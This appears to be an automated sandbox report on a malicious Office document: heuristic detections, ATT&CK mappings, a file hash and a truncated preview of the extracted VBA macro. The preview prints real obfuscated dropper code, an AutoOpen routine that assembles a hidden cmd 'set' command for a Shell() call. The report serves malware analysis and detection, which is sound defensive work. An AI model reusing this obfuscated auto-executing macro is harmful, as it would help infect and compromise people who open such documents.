MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and the critical heuristic 'OLE_VBA_SHELL' indicates a Shell() call, which is commonly used to download and execute additional malware. The macro itself is heavily obfuscated, preventing a more detailed analysis of its exact actions, but the presence of the Shell() call and the ClamAV detection strongly suggest a downloader or dropper functionality.
Heuristics 6
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ClamAV: Doc.Malware.00536d-6697102-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.00536d-6697102-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 152983 bytes |
SHA-256: 2824da731841082bcaac26faef1e70ee2a6903c9335eb0a0887c834bd8c2de06 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NkpcXPO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim MGirA(1)
MGirA(0) = Mid(MWoCDnc + ocuBLJukoibOXJGJVJGumHrtS + BPJvkPs, 889, 210) + Left(zzMjawwf + wOIAiiItTQckpTSSmuOPJLJhDhtu + LFBAuCj, 689)
Dim jNHaPI(1)
jNHaPI(0) = MidB(ljdQCwpY + MZVpiijRXjNiOazBHnZNiBY + wBFijioRQujdt, 966, 810) + Right(XBPbdYrXsSm + nFzrTQRFhAZWfOYOoGiXRNUc + nMBFdHdf, 40) + MidB(qVqBpFVsdw + DGfIifdwnDznYQiYlsMPkoWcIzj + IjzzwwvA, 471, 633) + Right(WwNRoqUsGSTu + UMCUwDSrlEaRjZrncXdOsIIPtCqPDIDi + DiiUfLIqXKuCOi, 825)
Dim jcDqA(1)
jcDqA(0) = Left(ZpupXIdvGtkup + hzUwzVqnMYjvBfHCrtQTTPhwvUuwhEw + VDsTiBh, 317) + Left(HtamhCvOr + BhQWvSSczqXclzzajDdBaEUiMtlqG + UWbwniPorW, 682) + MidB(AiCVCChcYfqRak + NAQcERcYdYGTlfqRWiQnEzuwqkfMwJG + SLtjFirdvN, 266, 744) + Left(AECbrwM + KUmnwLIKIHIGcwZMZkjJpkiIw + hJGjjOSrs, 339)
Dim Efrcu(1)
Efrcu(0) = Left(BfXCDud + CTDMcuZwRZtkHUsWhbizIsjjKHDmFDVoY + aKFsKUiTuKq, 182) + Mid(BhwujWTvK + OnnjlfHiwGRYFPwZmZUwWVWuprGf + BwhumIiiikGkJ, 881, 922) + Left(uIlusrOkKO + nqaRhDBiDdulTmRSwVTLWNvIESJ + tPrtjTbqukUHfr, 183) + Mid(wRwmmwU + DluzQtLBVbslzllwErWmj + sdIHTXPbPq, 919, 925)
VruLFkBqzfIY (KeyString(vbKeyC) + KeyString(vbKeyM) + QIvKz + hlKjZfs + zkIKnfCjF + nqwdcKnHGn + wqnwNKSNzhLVaM + LzuBhbtCDcJjuq)
Dim YHvjw(2)
YHvjw(0) = Mid(KZQIZHCpPjqk + YOUwlukBiSJvzSRABjbRTUuBnu + FLpzsak, 240, 820) + Right(rwwAMFWz + KirwzBbrtzGiNNFzZrjNZkTUThvQwRO + wCvYIVzDCJk, 906) + Left(HzGTBbUR + hHJzjJQzIjGdSHTmKWbjZoTqwNUJj + rALzWtskm, 72) + Mid(ToLhoJvl + bjINTSmnZFMaGImizmcYczBmff + EVjZbrJZawzd, 532, 119)
YHvjw(1) = MidB(EZCVRCzVw + NRfGIanBrqhviDHznztniGcdTBXO + LvIvsqDnE, 289, 457) + Mid(HrOuwiwNJUiwz + TzTcGQjivMGwvJiPLNVmZfcCBaiw + GUFvvQbX, 172, 365) + Right(mDErqOllKKOsu + OhHRNNkooMiumzdmYZzKkQNGBwGNAw + pBBViBOPf, 149) + MidB(zMjbTNDFQXXBz + siwiVIYIckDCKhfcWXHptmujwSdAVXS + jZYhaDEqQLMu, 680, 849)
Dim cztcEF(2)
cztcEF(0) = MidB(bcqwjifYoAw + pjlLodbimMZiWsZtcadzNGGijoFitrjmSI + cTspPQQNp, 140, 978) + MidB(XZAjiXEhuv + ijqpGERcMwJEizqstYLVSjDkkM + YzIljZYjChSK, 490, 298) + MidB(AaOoBWDWT + ICUjPiQlFHNQTKWHrAljjJztj + lSYBQjhBDjIdpL, 79, 264) + Left(rAvfTPVXTk + kkkKWdoPDoGnTnZvvAYoBzFzJfs + dlvYtipaZhQNLp, 845)
cztcEF(1) = Mid(wbvFbRLwjLQ + kLQrcCXPfQiWSHapzhjQRrBTj + TYvuzFzU, 237, 792) + MidB(QLMzFzEVt + izAuwzannUwJJbdVzYXUT + rwTfGQS, 412, 330)
Dim nSwEr(1)
nSwEr(0) = Mid(AMWuEVQUsTlOj + ijEYLtIOnozNhbqTGvKiS + NiGkIzBioOAS, 797, 880) + MidB(JGPXCmRrlYPwNT + zafZHcfrwjtMiAaNzAXiaQOzjh + UJOTOOSqj, 520, 464)
Dim LwUlFo(2)
LwUlFo(0) = MidB(OCpdiCrYDiGcjp + iPHjDiosWqfAMSjqCBTodOsPq + QVFMHqjsrk, 277, 946) + Right(LMYrMWiJ + GLaiSLPziJGUaFcDBfGoESBUYinmHXOFv + ajUQPpB, 815)
LwUlFo(1) = MidB(lkTjdrCBrtLQ + TuXwzLiJMBbzlpiicPkUGdfLEEVqJodwU + taAcXRE, 571, 121) + MidB(NOjBGEaZ + RAiFqLRLIaMbjojKBAZjsqG + hYWvAiba, 432, 434)
End Sub
Attribute VB_Name = "tFQDXpkQS"
Function QIvKz()
Dim ztGml(2)
ztGml(0) = Mid(cjhrtqwqTYIwz + wYsXakojFhmsVVfqnMRVuOLdJXJ + GfVvblMCow, 540, 192) + Left(EUzsSIlhjrCzJO + MvRPoMzaEEbdAiLnJMiqGlZw + dczwJjjsrGrUX, 777)
ztGml(1) = Right(bDjNqJqHzSiE + POVhabdNTQzwLPoopJVRRCUlpzr + hNrdwpOnDOk, 320) + Right(MisIdsckTu + fFqnNcOmjUlpzWvlBCjHGzqNJw + whtKIzPAHCsjd, 193)
AuZmNMKIX = "d /V:/C" + CStr(Chr(0 + 0 + 4 + 3 + 27)) + "^s" + "^e^t " + "?^{=/_" + "- /\_" + "^ ^\^-^_ -\" + "/^ ^_-^\ -"
Dim Oujkzw(2)
Oujkzw(0) = MidB(BsUzARiEjRvMUa + MDYtZYPLnNzsXdZGcZR + zFYHCWQnDcY, 926, 490) + MidB(dcNoMDkMaN + vUNjuAwuUAIEWatPlHzjAMdqYOtztdn + qwdwcCBcU, 180, 997)
Oujkzw(1) = Left(rwpFbDrrNUR + jaCOaBBHDTLUdCzdAvXwIo + iacbLmEVaaFi, 972) + Right(ndjtGZprhS + cJdtaYRWbswZQHbTiLZjTcuwJp + JWdcMwjiKjSpMl, 689) + Mid(RNSGwKzDaKRjc + zjiawoviswJzjWisaFsbLMfYmmPwiYksj + YCWjaKoM, 81, 375) + Right(ZFWPGjsXNQP + dwaYIrqjiCDVrdWAbFiKqJdLnivHn + wLNnvbNvqDStO, 818)
Dim FmczCV(2)
FmczCV(0) = Right(ZKmPXZFijCV +
... (truncated)
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